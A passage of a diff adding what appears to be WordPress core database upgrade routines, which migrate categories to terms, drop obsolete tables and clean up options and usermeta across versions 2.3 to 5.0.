+	$have_tags = false;
+	$categories = $wpdb->get_results("SELECT * FROM $wpdb->categories ORDER BY cat_ID");
+	foreach ($categories as $category) {
+		$term_id = (int) $category->cat_ID;
+		$name = $category->cat_name;
+		$description = $category->category_description;
+		$slug = $category->category_nicename;
+		$parent = $category->category_parent;
+		$term_group = 0;
+
+		// Associate terms with the same slug in a term group and make slugs unique.
+		if ( $exists = $wpdb->get_results( $wpdb->prepare("SELECT term_id, term_group FROM $wpdb->terms WHERE slug = %s", $slug) ) ) {
+			$term_group = $exists[0]->term_group;
+			$id = $exists[0]->term_id;
+			$num = 2;
+			do {
+				$alt_slug = $slug . "-$num";
+				$num++;
+				$slug_check = $wpdb->get_var( $wpdb->prepare("SELECT slug FROM $wpdb->terms WHERE slug = %s", $alt_slug) );
+			} while ( $slug_check );
+
+			$slug = $alt_slug;
+
+			if ( empty( $term_group ) ) {
+				$term_group = $wpdb->get_var("SELECT MAX(term_group) FROM $wpdb->terms GROUP BY term_group") + 1;
+				$wpdb->query( $wpdb->prepare("UPDATE $wpdb->terms SET term_group = %d WHERE term_id = %d", $term_group, $id) );
+			}
+		}
+
+		$wpdb->query( $wpdb->prepare("INSERT INTO $wpdb->terms (term_id, name, slug, term_group) VALUES
+		(%d, %s, %s, %d)", $term_id, $name, $slug, $term_group) );
+
+		$count = 0;
+		if ( !empty($category->category_count) ) {
+			$count = (int) $category->category_count;
+			$taxonomy = 'category';
+			$wpdb->query( $wpdb->prepare("INSERT INTO $wpdb->term_taxonomy (term_id, taxonomy, description, parent, count) VALUES ( %d, %s, %s, %d, %d)", $term_id, $taxonomy, $description, $parent, $count) );
+			$tt_ids[$term_id][$taxonomy] = (int) $wpdb->insert_id;
+		}
+
+		if ( !empty($category->link_count) ) {
+			$count = (int) $category->link_count;
+			$taxonomy = 'link_category';
+			$wpdb->query( $wpdb->prepare("INSERT INTO $wpdb->term_taxonomy (term_id, taxonomy, description, parent, count) VALUES ( %d, %s, %s, %d, %d)", $term_id, $taxonomy, $description, $parent, $count) );
+			$tt_ids[$term_id][$taxonomy] = (int) $wpdb->insert_id;
+		}
+
+		if ( !empty($category->tag_count) ) {
+			$have_tags = true;
+			$count = (int) $category->tag_count;
+			$taxonomy = 'post_tag';
+			$wpdb->insert( $wpdb->term_taxonomy, compact('term_id', 'taxonomy', 'description', 'parent', 'count') );
+			$tt_ids[$term_id][$taxonomy] = (int) $wpdb->insert_id;
+		}
+
+		if ( empty($count) ) {
+			$count = 0;
+			$taxonomy = 'category';
+			$wpdb->insert( $wpdb->term_taxonomy, compact('term_id', 'taxonomy', 'description', 'parent', 'count') );
+			$tt_ids[$term_id][$taxonomy] = (int) $wpdb->insert_id;
+		}
+	}
+
+	$select = 'post_id, category_id';
+	if ( $have_tags )
+		$select .= ', rel_type';
+
+	$posts = $wpdb->get_results("SELECT $select FROM $wpdb->post2cat GROUP BY post_id, category_id");
+	foreach ( $posts as $post ) {
+		$post_id = (int) $post->post_id;
+		$term_id = (int) $post->category_id;
+		$taxonomy = 'category';
+		if ( !empty($post->rel_type) && 'tag' == $post->rel_type)
+			$taxonomy = 'tag';
+		$tt_id = $tt_ids[$term_id][$taxonomy];
+		if ( empty($tt_id) )
+			continue;
+
+		$wpdb->insert( $wpdb->term_relationships, array('object_id' => $post_id, 'term_taxonomy_id' => $tt_id) );
+	}
+
+	// < 3570 we used linkcategories. >= 3570 we used categories and link2cat.
+	if ( $wp_current_db_version < 3570 ) {
+		/*
+		 * Create link_category terms for link categories. Create a map of link
+		 * cat IDs to link_category terms.
+		 */
+		$link_cat_id_map = array();
+		$default_link_cat = 0;
+		$tt_ids = array();
+		$link_cats = $wpdb->get_results("SELECT cat_id, cat_name FROM " . $wpdb->prefix . 'linkcategories');
+		foreach ( $link_cats as $category) {
+			$cat_id = (int) $category->cat_id;
+			$term_id = 0;
+			$name = wp_slash($category->cat_name);
+			$slug = sanitize_title($name);
+			$term_group = 0;
+
+			// Associate terms with the same slug in a term group and make slugs unique.
+			if ( $exists = $wpdb->get_results( $wpdb->prepare("SELECT term_id, term_group FROM $wpdb->terms WHERE slug = %s", $slug) ) ) {
+				$term_group = $exists[0]->term_group;
+				$term_id = $exists[0]->term_id;
+			}
+
+			if ( empty($term_id) ) {
+				$wpdb->insert( $wpdb->terms, compact('name', 'slug', 'term_group') );
+				$term_id = (int) $wpdb->insert_id;
+			}
+
+			$link_cat_id_map[$cat_id] = $term_id;
+			$default_link_cat = $term_id;
+
+			$wpdb->insert( $wpdb->term_taxonomy, array('term_id' => $term_id, 'taxonomy' => 'link_category', 'description' => '', 'parent' => 0, 'count' => 0) );
+			$tt_ids[$term_id] = (int) $wpdb->insert_id;
+		}
+
+		// Associate links to cats.
+		$links = $wpdb->get_results("SELECT link_id, link_category FROM $wpdb->links");
+		if ( !empty($links) ) foreach ( $links as $link ) {
+			if ( 0 == $link->link_category )
+				continue;
+			if ( ! isset($link_cat_id_map[$link->link_category]) )
+				continue;
+			$term_id = $link_cat_id_map[$link->link_category];
+			$tt_id = $tt_ids[$term_id];
+			if ( empty($tt_id) )
+				continue;
+
+			$wpdb->insert( $wpdb->term_relationships, array('object_id' => $link->link_id, 'term_taxonomy_id' => $tt_id) );
+		}
+
+		// Set default to the last category we grabbed during the upgrade loop.
+		update_option('default_link_category', $default_link_cat);
+	} else {
+		$links = $wpdb->get_results("SELECT link_id, category_id FROM $wpdb->link2cat GROUP BY link_id, category_id");
+		foreach ( $links as $link ) {
+			$link_id = (int) $link->link_id;
+			$term_id = (int) $link->category_id;
+			$taxonomy = 'link_category';
+			$tt_id = $tt_ids[$term_id][$taxonomy];
+			if ( empty($tt_id) )
+				continue;
+			$wpdb->insert( $wpdb->term_relationships, array('object_id' => $link_id, 'term_taxonomy_id' => $tt_id) );
+		}
+	}
+
+	if ( $wp_current_db_version < 4772 ) {
+		// Obsolete linkcategories table
+		$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'linkcategories');
+	}
+
+	// Recalculate all counts
+	$terms = $wpdb->get_results("SELECT term_taxonomy_id, taxonomy FROM $wpdb->term_taxonomy");
+	foreach ( (array) $terms as $term ) {
+		if ( ('post_tag' == $term->taxonomy) || ('category' == $term->taxonomy) )
+			$count = $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM $wpdb->term_relationships, $wpdb->posts WHERE $wpdb->posts.ID = $wpdb->term_relationships.object_id AND post_status = 'publish' AND post_type = 'post' AND term_taxonomy_id = %d", $term->term_taxonomy_id) );
+		else
+			$count = $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $term->term_taxonomy_id) );
+		$wpdb->update( $wpdb->term_taxonomy, array('count' => $count), array('term_taxonomy_id' => $term->term_taxonomy_id) );
+	}
+}
+
+/**
+ * Remove old options from the database.
+ *
+ * @ignore
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ */
+function upgrade_230_options_table() {
+	global $wpdb;
+	$old_options_fields = array( 'option_can_override', 'option_type', 'option_width', 'option_height', 'option_description', 'option_admin_level' );
+	$wpdb->hide_errors();
+	foreach ( $old_options_fields as $old )
+		$wpdb->query("ALTER TABLE $wpdb->options DROP $old");
+	$wpdb->show_errors();
+}
+
+/**
+ * Remove old categories, link2cat, and post2cat database tables.
+ *
+ * @ignore
+ * @since 2.3.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ */
+function upgrade_230_old_tables() {
+	global $wpdb;
+	$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'categories');
+	$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'link2cat');
+	$wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'post2cat');
+}
+
+/**
+ * Upgrade old slugs made in version 2.2.
+ *
+ * @ignore
+ * @since 2.2.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ */
+function upgrade_old_slugs() {
+	// Upgrade people who were using the Redirect Old Slugs plugin.
+	global $wpdb;
+	$wpdb->query("UPDATE $wpdb->postmeta SET meta_key = '_wp_old_slug' WHERE meta_key = 'old_slug'");
+}
+
+/**
+ * Execute changes made in WordPress 2.5.0.
+ *
+ * @ignore
+ * @since 2.5.0
+ *
+ * @global int $wp_current_db_version
+ */
+function upgrade_250() {
+	global $wp_current_db_version;
+
+	if ( $wp_current_db_version < 6689 ) {
+		populate_roles_250();
+	}
+
+}
+
+/**
+ * Execute changes made in WordPress 2.5.2.
+ *
+ * @ignore
+ * @since 2.5.2
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ */
+function upgrade_252() {
+	global $wpdb;
+
+	$wpdb->query("UPDATE $wpdb->users SET user_activation_key = ''");
+}
+
+/**
+ * Execute changes made in WordPress 2.6.
+ *
+ * @ignore
+ * @since 2.6.0
+ *
+ * @global int $wp_current_db_version
+ */
+function upgrade_260() {
+	global $wp_current_db_version;
+
+	if ( $wp_current_db_version < 8000 )
+		populate_roles_260();
+}
+
+/**
+ * Execute changes made in WordPress 2.7.
+ *
+ * @ignore
+ * @since 2.7.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ * @global int  $wp_current_db_version
+ */
+function upgrade_270() {
+	global $wpdb, $wp_current_db_version;
+
+	if ( $wp_current_db_version < 8980 )
+		populate_roles_270();
+
+	// Update post_date for unpublished posts with empty timestamp
+	if ( $wp_current_db_version < 8921 )
+		$wpdb->query( "UPDATE $wpdb->posts SET post_date = post_modified WHERE post_date = '0000-00-00 00:00:00'" );
+}
+
+/**
+ * Execute changes made in WordPress 2.8.
+ *
+ * @ignore
+ * @since 2.8.0
+ *
+ * @global int  $wp_current_db_version
+ * @global wpdb $wpdb WordPress database abstraction object.
+ */
+function upgrade_280() {
+	global $wp_current_db_version, $wpdb;
+
+	if ( $wp_current_db_version < 10360 )
+		populate_roles_280();
+	if ( is_multisite() ) {
+		$start = 0;
+		while( $rows = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options ORDER BY option_id LIMIT $start, 20" ) ) {
+			foreach ( $rows as $row ) {
+				$value = maybe_unserialize( $row->option_value );
+				if ( $value === $row->option_value )
+					$value = stripslashes( $value );
+				if ( $value !== $row->option_value ) {
+					update_option( $row->option_name, $value );
+				}
+			}
+			$start += 20;
+		}
+		clean_blog_cache( get_current_blog_id() );
+	}
+}
+
+/**
+ * Execute changes made in WordPress 2.9.
+ *
+ * @ignore
+ * @since 2.9.0
+ *
+ * @global int $wp_current_db_version
+ */
+function upgrade_290() {
+	global $wp_current_db_version;
+
+	if ( $wp_current_db_version < 11958 ) {
+		// Previously, setting depth to 1 would redundantly disable threading, but now 2 is the minimum depth to avoid confusion
+		if ( get_option( 'thread_comments_depth' ) == '1' ) {
+			update_option( 'thread_comments_depth', 2 );
+			update_option( 'thread_comments', 0 );
+		}
+	}
+}
+
+/**
+ * Execute changes made in WordPress 3.0.
+ *
+ * @ignore
+ * @since 3.0.0
+ *
+ * @global int  $wp_current_db_version
+ * @global wpdb $wpdb WordPress database abstraction object.
+ */
+function upgrade_300() {
+	global $wp_current_db_version, $wpdb;
+
+	if ( $wp_current_db_version < 15093 )
+		populate_roles_300();
+
+	if ( $wp_current_db_version < 14139 && is_multisite() && is_main_site() && ! defined( 'MULTISITE' ) && get_site_option( 'siteurl' ) === false )
+		add_site_option( 'siteurl', '' );
+
+	// 3.0 screen options key name changes.
+	if ( wp_should_upgrade_global_tables() ) {
+		$sql = "DELETE FROM $wpdb->usermeta
+			WHERE meta_key LIKE %s
+			OR meta_key LIKE %s
+			OR meta_key LIKE %s
+			OR meta_key LIKE %s
+			OR meta_key LIKE %s
+			OR meta_key LIKE %s
+			OR meta_key = 'manageedittagscolumnshidden'
+			OR meta_key = 'managecategoriescolumnshidden'
+			OR meta_key = 'manageedit-tagscolumnshidden'
+			OR meta_key = 'manageeditcolumnshidden'
+			OR meta_key = 'categories_per_page'
+			OR meta_key = 'edit_tags_per_page'";
+		$prefix = $wpdb->esc_like( $wpdb->base_prefix );
+		$wpdb->query( $wpdb->prepare( $sql,
+			$prefix . '%' . $wpdb->esc_like( 'meta-box-hidden' ) . '%',
+			$prefix . '%' . $wpdb->esc_like( 'closedpostboxes' ) . '%',
+			$prefix . '%' . $wpdb->esc_like( 'manage-'	   ) . '%' . $wpdb->esc_like( '-columns-hidden' ) . '%',
+			$prefix . '%' . $wpdb->esc_like( 'meta-box-order'  ) . '%',
+			$prefix . '%' . $wpdb->esc_like( 'metaboxorder'    ) . '%',
+			$prefix . '%' . $wpdb->esc_like( 'screen_layout'   ) . '%'
+		) );
+	}
+
+}
+
+/**
+ * Execute changes made in WordPress 3.3.
+ *
+ * @ignore
+ * @since 3.3.0
+ *
+ * @global int   $wp_current_db_version
+ * @global wpdb  $wpdb
+ * @global array $wp_registered_widgets
+ * @global array $sidebars_widgets
+ */
+function upgrade_330() {
+	global $wp_current_db_version, $wpdb, $wp_registered_widgets, $sidebars_widgets;
+
+	if ( $wp_current_db_version < 19061 && wp_should_upgrade_global_tables() ) {
+		$wpdb->query( "DELETE FROM $wpdb->usermeta WHERE meta_key IN ('show_admin_bar_admin', 'plugins_last_view')" );
+	}
+
+	if ( $wp_current_db_version >= 11548 )
+		return;
+
+	$sidebars_widgets = get_option( 'sidebars_widgets', array() );
+	$_sidebars_widgets = array();
+
+	if ( isset($sidebars_widgets['wp_inactive_widgets']) || empty($sidebars_widgets) )
+		$sidebars_widgets['array_version'] = 3;
+	elseif ( !isset($sidebars_widgets['array_version']) )
+		$sidebars_widgets['array_version'] = 1;
+
+	switch ( $sidebars_widgets['array_version'] ) {
+		case 1 :
+			foreach ( (array) $sidebars_widgets as $index => $sidebar )
+			if ( is_array($sidebar) )
+			foreach ( (array) $sidebar as $i => $name ) {
+				$id = strtolower($name);
+				if ( isset($wp_registered_widgets[$id]) ) {
+					$_sidebars_widgets[$index][$i] = $id;
+					continue;
+				}
+				$id = sanitize_title($name);
+				if ( isset($wp_registered_widgets[$id]) ) {
+					$_sidebars_widgets[$index][$i] = $id;
+					continue;
+				}
+
+				$found = false;
+
+				foreach ( $wp_registered_widgets as $widget_id => $widget ) {
+					if ( strtolower($widget['name']) == strtolower($name) ) {
+						$_sidebars_widgets[$index][$i] = $widget['id'];
+						$found = true;
+						break;
+					} elseif ( sanitize_title($widget['name']) == sanitize_title($name) ) {
+						$_sidebars_widgets[$index][$i] = $widget['id'];
+						$found = true;
+						break;
+					}
+				}
+
+				if ( $found )
+					continue;
+
+				unset($_sidebars_widgets[$index][$i]);
+			}
+			$_sidebars_widgets['array_version'] = 2;
+			$sidebars_widgets = $_sidebars_widgets;
+			unset($_sidebars_widgets);
+
+		case 2 :
+			$sidebars_widgets = retrieve_widgets();
+			$sidebars_widgets['array_version'] = 3;
+			update_option( 'sidebars_widgets', $sidebars_widgets );
+	}
+}
+
+/**
+ * Execute changes made in WordPress 3.4.
+ *
+ * @ignore
+ * @since 3.4.0
+ *
+ * @global int   $wp_current_db_version
+ * @global wpdb  $wpdb
+ */
+function upgrade_340() {
+	global $wp_current_db_version, $wpdb;
+
+	if ( $wp_current_db_version < 19798 ) {
+		$wpdb->hide_errors();
+		$wpdb->query( "ALTER TABLE $wpdb->options DROP COLUMN blog_id" );
+		$wpdb->show_errors();
+	}
+
+	if ( $wp_current_db_version < 19799 ) {
+		$wpdb->hide_errors();
+		$wpdb->query("ALTER TABLE $wpdb->comments DROP INDEX comment_approved");
+		$wpdb->show_errors();
+	}
+
+	if ( $wp_current_db_version < 20022 && wp_should_upgrade_global_tables() ) {
+		$wpdb->query( "DELETE FROM $wpdb->usermeta WHERE meta_key = 'themes_last_view'" );
+	}
+
+	if ( $wp_current_db_version < 20080 ) {
+		if ( 'yes' == $wpdb->get_var( "SELECT autoload FROM $wpdb->options WHERE option_name = 'uninstall_plugins'" ) ) {
+			$uninstall_plugins = get_option( 'uninstall_plugins' );
+			delete_option( 'uninstall_plugins' );
+			add_option( 'uninstall_plugins', $uninstall_plugins, null, 'no' );
+		}
+	}
+}
+
+/**
+ * Execute changes made in WordPress 3.5.
+ *
+ * @ignore
+ * @since 3.5.0
+ *
+ * @global int   $wp_current_db_version
+ * @global wpdb  $wpdb
+ */
+function upgrade_350() {
+	global $wp_current_db_version, $wpdb;
+
+	if ( $wp_current_db_version < 22006 && $wpdb->get_var( "SELECT link_id FROM $wpdb->links LIMIT 1" ) )
+		update_option( 'link_manager_enabled', 1 ); // Previously set to 0 by populate_options()
+
+	if ( $wp_current_db_version < 21811 && wp_should_upgrade_global_tables() ) {
+		$meta_keys = array();
+		foreach ( array_merge( get_post_types(), get_taxonomies() ) as $name ) {
+			if ( false !== strpos( $name, '-' ) )
+			$meta_keys[] = 'edit_' . str_replace( '-', '_', $name ) . '_per_page';
+		}
+		if ( $meta_keys ) {
+			$meta_keys = implode( "', '", $meta_keys );
+			$wpdb->query( "DELETE FROM $wpdb->usermeta WHERE meta_key IN ('$meta_keys')" );
+		}
+	}
+
+	if ( $wp_current_db_version < 22422 && $term = get_term_by( 'slug', 'post-format-standard', 'post_format' ) )
+		wp_delete_term( $term->term_id, 'post_format' );
+}
+
+/**
+ * Execute changes made in WordPress 3.7.
+ *
+ * @ignore
+ * @since 3.7.0
+ *
+ * @global int $wp_current_db_version
+ */
+function upgrade_370() {
+	global $wp_current_db_version;
+	if ( $wp_current_db_version < 25824 )
+		wp_clear_scheduled_hook( 'wp_auto_updates_maybe_update' );
+}
+
+/**
+ * Execute changes made in WordPress 3.7.2.
+ *
+ * @ignore
+ * @since 3.7.2
+ * @since 3.8.0
+ *
+ * @global int $wp_current_db_version
+ */
+function upgrade_372() {
+	global $wp_current_db_version;
+	if ( $wp_current_db_version < 26148 )
+		wp_clear_scheduled_hook( 'wp_maybe_auto_update' );
+}
+
+/**
+ * Execute changes made in WordPress 3.8.0.
+ *
+ * @ignore
+ * @since 3.8.0
+ *
+ * @global int $wp_current_db_version
+ */
+function upgrade_380() {
+	global $wp_current_db_version;
+	if ( $wp_current_db_version < 26691 ) {
+		deactivate_plugins( array( 'mp6/mp6.php' ), true );
+	}
+}
+
+/**
+ * Execute changes made in WordPress 4.0.0.
+ *
+ * @ignore
+ * @since 4.0.0
+ *
+ * @global int $wp_current_db_version
+ */
+function upgrade_400() {
+	global $wp_current_db_version;
+	if ( $wp_current_db_version < 29630 ) {
+		if ( ! is_multisite() && false === get_option( 'WPLANG' ) ) {
+			if ( defined( 'WPLANG' ) && ( '' !== WPLANG ) && in_array( WPLANG, get_available_languages() ) ) {
+				update_option( 'WPLANG', WPLANG );
+			} else {
+				update_option( 'WPLANG', '' );
+			}
+		}
+	}
+}
+
+/**
+ * Execute changes made in WordPress 4.2.0.
+ *
+ * @ignore
+ * @since 4.2.0
+ *
+ * @global int   $wp_current_db_version
+ * @global wpdb  $wpdb
+ */
+function upgrade_420() {}
+
+/**
+ * Executes changes made in WordPress 4.3.0.
+ *
+ * @ignore
+ * @since 4.3.0
+ *
+ * @global int  $wp_current_db_version Current version.
+ * @global wpdb $wpdb                  WordPress database abstraction object.
+ */
+function upgrade_430() {
+	global $wp_current_db_version, $wpdb;
+
+	if ( $wp_current_db_version < 32364 ) {
+		upgrade_430_fix_comments();
+	}
+
+	// Shared terms are split in a separate process.
+	if ( $wp_current_db_version < 32814 ) {
+		update_option( 'finished_splitting_shared_terms', 0 );
+		wp_schedule_single_event( time() + ( 1 * MINUTE_IN_SECONDS ), 'wp_split_shared_term_batch' );
+	}
+
+	if ( $wp_current_db_version < 33055 && 'utf8mb4' === $wpdb->charset ) {
+		if ( is_multisite() ) {
+			$tables = $wpdb->tables( 'blog' );
+		} else {
+			$tables = $wpdb->tables( 'all' );
+			if ( ! wp_should_upgrade_global_tables() ) {
+				$global_tables = $wpdb->tables( 'global' );
+				$tables = array_diff_assoc( $tables, $global_tables );
+			}
+		}
+
+		foreach ( $tables as $table ) {
+			maybe_convert_table_to_utf8mb4( $table );
+		}
+	}
+}
+
+/**
+ * Executes comments changes made in WordPress 4.3.0.
+ *
+ * @ignore
+ * @since 4.3.0
+ *
+ * @global int  $wp_current_db_version Current version.
+ * @global wpdb $wpdb                  WordPress database abstraction object.
+ */
+function upgrade_430_fix_comments() {
+	global $wp_current_db_version, $wpdb;
+
+	$content_length = $wpdb->get_col_length( $wpdb->comments, 'comment_content' );
+
+	if ( is_wp_error( $content_length ) ) {
+		return;
+	}
+
+	if ( false === $content_length ) {
+		$content_length = array(
+			'type'   => 'byte',
+			'length' => 65535,
+		);
+	} elseif ( ! is_array( $content_length ) ) {
+		$length = (int) $content_length > 0 ? (int) $content_length : 65535;
+		$content_length = array(
+			'type'	 => 'byte',
+			'length' => $length
+		);
+	}
+
+	if ( 'byte' !== $content_length['type'] || 0 === $content_length['length'] ) {
+		// Sites with malformed DB schemas are on their own.
+		return;
+	}
+
+	$allowed_length = intval( $content_length['length'] ) - 10;
+
+	$comments = $wpdb->get_results(
+		"SELECT `comment_ID` FROM `{$wpdb->comments}`
+			WHERE `comment_date_gmt` > '2015-04-26'
+			AND LENGTH( `comment_content` ) >= {$allowed_length}
+			AND ( `comment_content` LIKE '%<%' OR `comment_content` LIKE '%>%' )"
+	);
+
+	foreach ( $comments as $comment ) {
+		wp_delete_comment( $comment->comment_ID, true );
+	}
+}
+
+/**
+ * Executes changes made in WordPress 4.3.1.
+ *
+ * @ignore
+ * @since 4.3.1
+ */
+function upgrade_431() {
+	// Fix incorrect cron entries for term splitting
+	$cron_array = _get_cron_array();
+	if ( isset( $cron_array['wp_batch_split_terms'] ) ) {
+		unset( $cron_array['wp_batch_split_terms'] );
+		_set_cron_array( $cron_array );
+	}
+}
+
+/**
+ * Executes changes made in WordPress 4.4.0.
+ *
+ * @ignore
+ * @since 4.4.0
+ *
+ * @global int  $wp_current_db_version Current version.
+ * @global wpdb $wpdb                  WordPress database abstraction object.
+ */
+function upgrade_440() {
+	global $wp_current_db_version, $wpdb;
+
+	if ( $wp_current_db_version < 34030 ) {
+		$wpdb->query( "ALTER TABLE {$wpdb->options} MODIFY option_name VARCHAR(191)" );
+	}
+
+	// Remove the unused 'add_users' role.
+	$roles = wp_roles();
+	foreach ( $roles->role_objects as $role ) {
+		if ( $role->has_cap( 'add_users' ) ) {
+			$role->remove_cap( 'add_users' );
+		}
+	}
+}
+
+/**
+ * Executes changes made in WordPress 4.5.0.
+ *
+ * @ignore
+ * @since 4.5.0
+ *
+ * @global int  $wp_current_db_version Current database version.
+ * @global wpdb $wpdb                  WordPress database abstraction object.
+ */
+function upgrade_450() {
+	global $wp_current_db_version, $wpdb;
+
+	if ( $wp_current_db_version < 36180 ) {
+		wp_clear_scheduled_hook( 'wp_maybe_auto_update' );
+	}
+
+	// Remove unused email confirmation options, moved to usermeta.
+	if ( $wp_current_db_version < 36679 && is_multisite() ) {
+		$wpdb->query( "DELETE FROM $wpdb->options WHERE option_name REGEXP '^[0-9]+_new_email$'" );
+	}
+
+	// Remove unused user setting for wpLink.
+	delete_user_setting( 'wplink' );
+}
+
+/**
+ * Executes changes made in WordPress 4.6.0.
+ *
+ * @ignore
+ * @since 4.6.0
+ *
+ * @global int $wp_current_db_version Current database version.
+ */
+function upgrade_460() {
+	global $wp_current_db_version;
+
+	// Remove unused post meta.
+	if ( $wp_current_db_version < 37854 ) {
+		delete_post_meta_by_key( '_post_restored_from' );
+	}
+
+	// Remove plugins with callback as an array object/method as the uninstall hook, see #13786.
+	if ( $wp_current_db_version < 37965 ) {
+		$uninstall_plugins = get_option( 'uninstall_plugins', array() );
+
+		if ( ! empty( $uninstall_plugins ) ) {
+			foreach ( $uninstall_plugins as $basename => $callback ) {
+				if ( is_array( $callback ) && is_object( $callback[0] ) ) {
+					unset( $uninstall_plugins[ $basename ] );
+				}
+			}
+
+			update_option( 'uninstall_plugins', $uninstall_plugins );
+		}
+	}
+}
+
+/**
+ * Executes changes made in WordPress 5.0.0.
+ *
+ * @ignore
+ * @since 5.0.0
+ *
+ * @global int $wp_current_db_version Current database version.
+ */
+function upgrade_500() {
+	global $wp_current_db_version;
+	if ( $wp_current_db_version < 43764 ) {
+		// Allow bypassing Gutenberg plugin deactivation.
+		if ( defined( 'GUTENBERG_USE_PLUGIN' ) && GUTENBERG_USE_PLUGIN ) {
+			return;
+		}
+
+ 		$was_active = is_plugin_active( 'gutenberg/gutenberg.php' );
+ 		if ( $was_active ) {
+ 			// FIXME: Leave until 501 or 510 to clean up.
+ 			update_site_option( 'upgrade_500_was_gutenberg_active', '1' );
+ 		}
+
+		deactivate_plugins( array( 'gutenberg/gutenberg.php' ), true );
+	}
+}
+
+/**
+ * Executes network-level upgrade routines.
+ *
+ * @since 3.0.0
+ *
+ * @global int   $wp_current_db_version
+ * @global wpdb  $wpdb
+ */
+function upgrade_network() {
+	global $wp_current_db_version, $wpdb;
+
+	// Always clear expired transients
+	delete_expired_transients( true );
+
+	// 2.8.
+	if ( $wp_current_db_version < 11549 ) {
+		$wpmu_sitewide_plugins = get_site_option( 'wpmu_sitewide_plugins' );
+		$active_sitewide_plugins = get_site_option( 'active_sitewide_plugins' );
+		if ( $wpmu_sitewide_plugins ) {
+			if ( !$active_sitewide_plugins )
+				$sitewide_plugins = (array) $wpmu_sitewide_plugins;
+			else
+				$sitewide_plugins = array_merge( (array) $active_sitewide_plugins, (array) $wpmu_sitewide_plugins );
+
+			update_site_option( 'active_sitewide_plugins', $sitewide_plugins );
+		}
+		delete_site_option( 'wpmu_sitewide_plugins' );
+		delete_site_option( 'deactivated_sitewide_plugins' );
+
+		$start = 0;
+		while( $rows = $wpdb->get_results( "SELECT meta_key, meta_value FROM {$wpdb->sitemeta} ORDER BY meta_id LIMIT $start, 20" ) ) {
+			foreach ( $rows as $row ) {
+				$value = $row->meta_value;
+				if ( !@unserialize( $value ) )
+					$value = stripslashes( $value );
+				if ( $value !== $row->meta_value ) {
+					update_site_option( $row->meta_key, $value );
+				}
+			}
+			$start += 20;
+		}
+	}
+
+	// 3.0
+	if ( $wp_current_db_version < 13576 )
+		update_site_option( 'global_terms_enabled', '1' );
+
+	// 3.3
+	if ( $wp_current_db_version < 19390 )
+		update_site_option( 'initial_db_version', $wp_current_db_version );
+
+	if ( $wp_current_db_version < 19470 ) {
+		if ( false === get_site_option( 'active_sitewide_plugins' ) )
+			update_site_option( 'active_sitewide_plugins', array() );
+	}
+
+	// 3.4
+	if ( $wp_current_db_version < 20148 ) {
+		// 'allowedthemes' keys things by stylesheet. 'allowed_themes' keyed things by name.
+		$allowedthemes  = get_site_option( 'allowedthemes'  );
+		$allowed_themes = get_site_option( 'allowed_themes' );
+		if ( false === $allowedthemes && is_array( $allowed_themes ) && $allowed_themes ) {
+			$converted = array();
+			$themes = wp_get_themes();
+			foreach ( $themes as $stylesheet => $theme_data ) {
+				if ( isset( $allowed_themes[ $theme_data->get('Name') ] ) )
+					$converted[ $stylesheet ] = true;
+			}
+			update_site_option( 'allowedthemes', $converted );
+			delete_site_option( 'allowed_themes' );
+		}
+	}
+
+	// 3.5
+	if ( $wp_current_db_version < 21823 )
+		update_site_option( 'ms_files_rewriting', '1' );
+
+	// 3.5.2
+	if ( $wp_current_db_version < 24448 ) {
+		$illegal_names = get_site_option( 'illegal_names' );
+		if ( is_array( $illegal_names ) && count( $illegal_names ) === 1 ) {
+			$illegal_name = reset( $illegal_names );
+			$illegal_names = explode( ' ', $illegal_name );
+			update_site_option( 'illegal_names', $illegal_names );
+		}
+	}
+
+	// 4.2
+	if ( $wp_current_db_version < 31351 && $wpdb->charset === 'utf8mb4' ) {
+		if ( wp_should_upgrade_global_tables() ) {
+			$wpdb->query( "ALTER TABLE $wpdb->usermeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
+			$wpdb->query( "ALTER TABLE $wpdb->site DROP INDEX domain, ADD INDEX domain(domain(140),path(51))" );
+			$wpdb->query( "ALTER TABLE $wpdb->sitemeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
+			$wpdb->query( "ALTER TABLE $wpdb->signups DROP INDEX domain_path, ADD INDEX domain_path(domain(140),path(51))" );
+
+			$tables = $wpdb->tables( 'global' );
+
+			// sitecategories may not exist.
+			if ( ! $wpdb->get_var( "SHOW TABLES LIKE '{$tables['sitecategories']}'" ) ) {
+				unset( $tables['sitecategories'] );
+			}
+
+			foreach ( $tables as $table ) {
+				maybe_convert_table_to_utf8mb4( $table );
+			}
+		}
+	}
+
+	// 4.3
+	if ( $wp_current_db_version < 33055 && 'utf8mb4' === $wpdb->charset ) {
+		if ( wp_should_upgrade_global_tables() ) {
+			$upgrade = false;
+			$indexes = $wpdb->get_results( "SHOW INDEXES FROM $wpdb->signups" );
+			foreach ( $indexes as $index ) {
+				if ( 'domain_path' == $index->Key_name && 'domain' == $index->Column_name && 140 != $index->Sub_part ) {
+					$upgrade = true;
+					break;
+				}
+			}
+
+			if ( $upgrade ) {
+				$wpdb->query( "ALTER TABLE $wpdb->signups DROP INDEX domain_path, ADD INDEX domain_path(domain(140),path(51))" );
+			}
+
+			$tables = $wpdb->tables( 'global' );
+
+			// sitecategories may not exist.
+			if ( ! $wpdb->get_var( "SHOW TABLES LIKE '{$tables['sitecategories']}'" ) ) {
+				unset( $tables['sitecategories'] );
+			}
+
+			foreach ( $tables as $table ) {
+				maybe_convert_table_to_utf8mb4( $table );
+			}
+		}
+	}
+}
+
+//
+// General functions we use to actually do stuff
+//
+
+/**
+ * Creates a table in the database if it doesn't already exist.
+ *
+ * This method checks for an existing database and creates a new one if it's not
+ * already present. It doesn't rely on MySQL's "IF NOT EXISTS" statement, but chooses
+ * to query all tables first and then run the SQL statement creating the table.
+ *
+ * @since 1.0.0
+ *
